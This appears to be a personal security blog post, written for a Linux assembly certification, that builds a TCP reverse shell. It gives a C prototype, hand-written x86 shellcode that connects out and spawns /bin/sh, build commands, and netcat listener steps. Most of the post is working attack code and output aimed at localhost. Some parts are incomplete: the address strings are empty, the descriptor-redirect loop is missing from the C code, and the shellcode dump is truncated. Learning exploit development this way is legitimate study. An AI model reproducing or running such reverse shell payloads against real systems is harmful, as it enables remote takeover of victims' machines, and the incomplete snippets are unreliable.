Oleg's Web Log

Stochastic records on Information Security and IT in general

Creating TCP reverse shell shellcode (SLAE, Assignment #2)

Category: Exploit development

Written on

I remember when I was first introduced to the concept of the reverse shell it was a bit difficult to wrap my mind around it. The reverse shell is called so because instead of attacker connecting to the victim machine, the victim machine initiates a connection to the attacking machine. The shell-throwing direction is reversed in this case. Reverse shell's main purpose is to circumvent firewalls that blindly allow outgoing traffic without proper filtering.

It turned out that the code for the reverse shell is actually simpler than that of the bind TCP shell I wrote about in a previous post. It is also shorter.

Here is the prototype C program that we will base our Assembly code on. Code is pretty simple, but nevertheless I furnished it with comments:

#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define ADDR ""
#define PORT 1234

int main(void) {

    // Create socket for outgoing connection 
    int conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 

    // Populate server side connection information    
    struct sockaddr_in serv_addr;
    serv_addr.sin_family = AF_INET; // IPv4
    serv_addr.sin_addr.s_addr = inet_addr(""); // IP address: localhost
    serv_addr.sin_port = htons(PORT);  // Port # 

    // Initiate connection
    connect(conn_sock, (struct sockaddr *) &serv_addr, 16);

    // Forward process's stdin, stdout and stderr to the incoming connection

    // Run shell
    execve("/bin/sh", NULL, NULL);

After compilation we can use Netcat to test that the code is working:

# Start Netcat in one console window
nc -lvp 1234

# Compile and start the C reverse shell implementation
gcc -o revshell revshell.c && ./revshell

# Back in the console with Netcat you should get a connection. Test if it works:
listening on [any] 1234 ...
connect to [] from localhost [] 35476
uid=0(root) gid=0(root) groups=0(root)

One thing to remember from the previous post on bind TCP shell is that socket and connect functions are plugged into the socketcall system call. And basically we can largely reuse the bind shell source code making relevant changes to it. The changes include removing blocks for listen and accept functions, transforming bind function block to connect, and replacing the address from to The is equivalent to localhost address, with an advantage of eliminating zeroes. Some people think that only address refers to the localhost, while in truth all valid IPv4 address beginning with 127 are synonyms and refer to the same localhost address.

After applying the aforementioned changes, here is what I got (follow the comments if it is not clear what's going on):

section .text
    global _start

    addr: equ 0x0101017F ; = in little endian notation
    port: equ 0xD204 ; = 1234 in little endian notation

    ; Reference: socketcall(int call, unsigned long *args)

    ; Create socket: EAX = socket(AF_INET, SOCK_STREAM, 0)
    ; On success EAX will contain socket file descriptor
    xor ebx, ebx  ; zero out ebx
    mul ebx       ; implicitly zero out eax and edx 
    mov al, 0x66  ; socketcall syscall #
    mov bl, 0x1   ; socket function #
    push edx      ; 3rd arg to socket function
    push byte 0x1 ; SOCK_STREEAM - 2nd arg to socket function
    push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)
    mov ecx, esp  ; Copy args address to ECX 
    int 0x80

    ; Try establishing a connection to a remote host  
    ; EAX = connect(conn_sock, &sockaddr_in, sizeof(sockaddr_in))
    ; EAX will be 0 on success
    xchg edx, eax  ; Save socket fd to edx; eax is all 0s now
    mov al, 0x66   ; socketcall syscall #
    pop ebx        ; Reusing 1st arg of the prev func (2)
    pop esi        ; Trashing 4 bytes from the stack 
    push addr      ; sockaddr_in.sin_addr.s_addr = (4 bytes) 
    push word port ; sockaddr_in.sin_port = 1234 (2 bytes)
    push word bx   ; sin_family = 2 (AF_INET) (2 bytes)
    push byte 16   ; addr_len = 16 (structure size) (we don't care about last 8 bytes)
    push ecx       ; ECX points to right address, no need to set or change it
    push edx       ; Socket fd 
                   ; Stack is now 0x0000000 [0x00000000, 0xd204, 0x0002], 
                   ; 0x00000010, &sockaddr_in, socketfd
    mov ecx, esp   ; Copy listening socket descriptor address to ECX 
    inc ebx        ; connect func # (3)
    int 0x80               

    ; Redirect process's stdin/out/err to the incoming socket   
    xchg edx, ebx  ; 1st syscall arg in EBX = outgoing socket fd
    xor ecx, ecx
    mov cl, 2
.next_fd:          ; Redirect all process's fds ot incoming socket fd
    mov al, 0x3f   ; dup2 syscall #
    int 0x80        
    dec ecx         
    jns .next_fd   ; loop until ECX == -1 

    ; Start the shell 
    push edi               ; push some delimiting nulls
    push dword 0x68732f2f  ; push /bin//sh string 
    push dword 0x6e69622f  
    mov ebx, esp           ; 1st syscall arg: program address
    push edi               ; push delimiting nulls 
    mov edx, esp           ; 3rd syscall arg: env vars  
    push ebx               ; Push program address string creating args array
    mov ecx, esp           ; 2nd syscall arg: args
    mov al, 0xb            ; execve syscall #
    int 0x80

Now let's build the binary and extract and thest the shellcode to make sure that we have not missed anything.

# Build a binary and extract the shellcode 
nasm -f elf revshell.asm && ld -o revshell revshell.o
scdump revshell

Output of the above command (formatted to fit the screen):

Length:  78
Payload: "\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
# Paste the shellcode into the scframe.c and compile it:
gcc -fno-stack-protector -z execstack -o scframe scframe.c

# In another console window start Netcat listener
nc -lvp 1234

# Back in the window where you compiled the scframe launch it

# Check the Netcat listener to see if you got a reverse shell connection
nc -lvp 1234
listening on [any] 1234 ...
connect to [] from localhost [] 33275
uid=0(root) gid=0(root) groups=0(root)

Everything seems to be working. Off we go to the next assignment of creating a custom encoder!

This blog post was created to fulfill the requirements of the SecurityTube Linux Assembly Expert certification. Student id: SLAE-685.

The source files created while completing the assignment can be found in my GitHub repository.

comments powered by Disqus